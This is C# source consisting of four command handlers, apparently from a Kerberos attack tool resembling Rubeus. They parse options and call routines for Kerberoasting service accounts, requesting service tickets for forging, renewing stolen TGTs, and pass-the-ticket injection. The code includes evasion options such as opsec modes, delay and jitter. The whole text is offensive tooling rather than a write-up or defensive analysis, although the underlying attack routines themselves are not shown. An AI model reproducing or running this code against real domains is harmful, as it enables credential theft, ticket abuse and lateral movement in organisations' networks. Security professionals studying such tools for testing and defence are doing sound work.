public void Execute(Dictionary <string, string> arguments) { string spn = ""; bool adminCount = false; string user = ""; string OU = ""; string outFile = ""; string domain = ""; int delay = 0; int jitter = 0; string dc = ""; string supportedEType = "rc4"; bool useTGTdeleg = false; KRB_CRED TGT = null; if (arguments.ContainsKey("/admincount")) { adminCount = true; } if (arguments.ContainsKey("/delay")) { delay = Int32.Parse(arguments["/delay"]); } if (arguments.ContainsKey("/jitter")) { jitter = Int32.Parse(arguments["/jitter"]); } if (arguments.ContainsKey("/spn")) { spn = arguments["/spn"]; } if (arguments.ContainsKey("/user")) { user = arguments["/user"]; } if (arguments.ContainsKey("/ou")) { OU = arguments["/ou"]; } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/outfile")) { outFile = arguments["/outfile"]; } if (arguments.ContainsKey("/aes")) { supportedEType = "aes"; } if (arguments.ContainsKey("/rc4opsec")) { supportedEType = "rc4opsec"; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); TGT = new KRB_CRED(kirbiBytes); } else if (System.IO.File.Exists(kirbi64)) { byte[] kirbiBytes = System.IO.File.ReadAllBytes(kirbi64); TGT = new KRB_CRED(kirbiBytes); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } } if (arguments.ContainsKey("/usetgtdeleg") || arguments.ContainsKey("/tgtdeleg")) { useTGTdeleg = true; } if (arguments.ContainsKey("/creduser")) { if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) { Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); return; } string[] parts = arguments["/creduser"].Split('\\'); string domainName = parts[0]; string userName = parts[1]; if (!arguments.ContainsKey("/credpassword")) { Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); return; } string password = arguments["/credpassword"]; System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName); Roast.Kerberoast(spn, adminCount, user, OU, domain, dc, cred, outFile, TGT, useTGTdeleg, supportedEType, delay, jitter); } else { Roast.Kerberoast(spn, adminCount, user, OU, domain, dc, null, outFile, TGT, useTGTdeleg, supportedEType, delay, jitter); } }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("[*] Action: Ask TGS\r\n"); string outfile = ""; bool ptt = false; string dc = ""; string service = ""; bool enterprise = false; bool opsec = false; Interop.KERB_ETYPE requestEnctype = Interop.KERB_ETYPE.subkey_keymaterial; KRB_CRED tgs = null; string targetDomain = ""; string servicekey = ""; string asrepkey = ""; bool u2u = false; string targetUser = ""; bool printargs = false; string proxyUrl = null; if (arguments.ContainsKey("/outfile")) { outfile = arguments["/outfile"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/enterprise")) { enterprise = true; } if (arguments.ContainsKey("/opsec")) { opsec = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/enctype")) { string encTypeString = arguments["/enctype"].ToUpper(); if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { requestEnctype = Interop.KERB_ETYPE.rc4_hmac; } else if (encTypeString.Equals("AES128")) { requestEnctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { requestEnctype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } else if (encTypeString.Equals("DES")) { requestEnctype = Interop.KERB_ETYPE.des_cbc_md5; } else { Console.WriteLine("Unsupported etype : {0}", encTypeString); return; } } // for U2U requests if (arguments.ContainsKey("/u2u")) { u2u = true; } if (arguments.ContainsKey("/service")) { service = arguments["/service"]; } else if (!u2u) { Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed"); return; } if (arguments.ContainsKey("/servicekey")) { servicekey = arguments["/servicekey"]; } if (u2u || !String.IsNullOrEmpty(servicekey)) { // print command arguments for forging tickets if (arguments.ContainsKey("/printargs")) { printargs = true; } } if (arguments.ContainsKey("/asrepkey")) { asrepkey = arguments["/asrepkey"]; } if (arguments.ContainsKey("/tgs")) { string kirbi64 = arguments["/tgs"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); tgs = new KRB_CRED(kirbiBytes); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); tgs = new KRB_CRED(kirbiBytes); } else { Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); return; } } // for manually specifying domain in requests if (arguments.ContainsKey("/targetdomain")) { targetDomain = arguments["/targetdomain"]; } // for adding a PA-for-User PA data section if (arguments.ContainsKey("/targetuser")) { targetUser = arguments["/targetuser"]; } // for using a KDC proxy if (arguments.ContainsKey("/proxyurl")) { proxyUrl = arguments["/proxyurl"]; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl); return; } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl); return; } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } }
public void Execute(Dictionary <string, string> arguments) { string outfile = ""; bool ptt = false; string dc = ""; if (arguments.ContainsKey("/outfile")) { outfile = arguments["/outfile"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; byte[] kirbiBytes = null; if (Helpers.IsBase64String(kirbi64)) { kirbiBytes = Convert.FromBase64String(kirbi64); } else if (File.Exists(kirbi64)) { kirbiBytes = File.ReadAllBytes(kirbi64); } if (kirbiBytes == null) { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } else { KRB_CRED kirbi = new KRB_CRED(kirbiBytes); if (arguments.ContainsKey("/autorenew")) { Console.WriteLine("[*] Action: Auto-Renew Ticket\r\n"); // if we want to auto-renew the TGT up until the renewal limit Renew.TGTAutoRenew(kirbi, dc); } else { Console.WriteLine("[*] Action: Renew Ticket\r\n"); // otherwise a single renew operation byte[] blah = Renew.TGT(kirbi, outfile, ptt, dc); } } return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } }
public void Execute(Dictionary <string, string> arguments) { string outfile = ""; bool ptt = false; string dc = ""; string service = ""; Interop.KERB_ETYPE requestEnctype = Interop.KERB_ETYPE.subkey_keymaterial; if (arguments.ContainsKey("/outfile")) { outfile = arguments["/outfile"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/enctype")) { string encTypeString = arguments["/enctype"].ToUpper(); if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { requestEnctype = Interop.KERB_ETYPE.rc4_hmac; } else if (encTypeString.Equals("AES128")) { requestEnctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { requestEnctype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } else if (encTypeString.Equals("DES")) { requestEnctype = Interop.KERB_ETYPE.des_cbc_md5; } else { Console.WriteLine("Unsupported etype : {0}", encTypeString); return; } } if (arguments.ContainsKey("/service")) { service = arguments["/service"]; } else { Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed"); return; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true); return; } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true); return; } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } }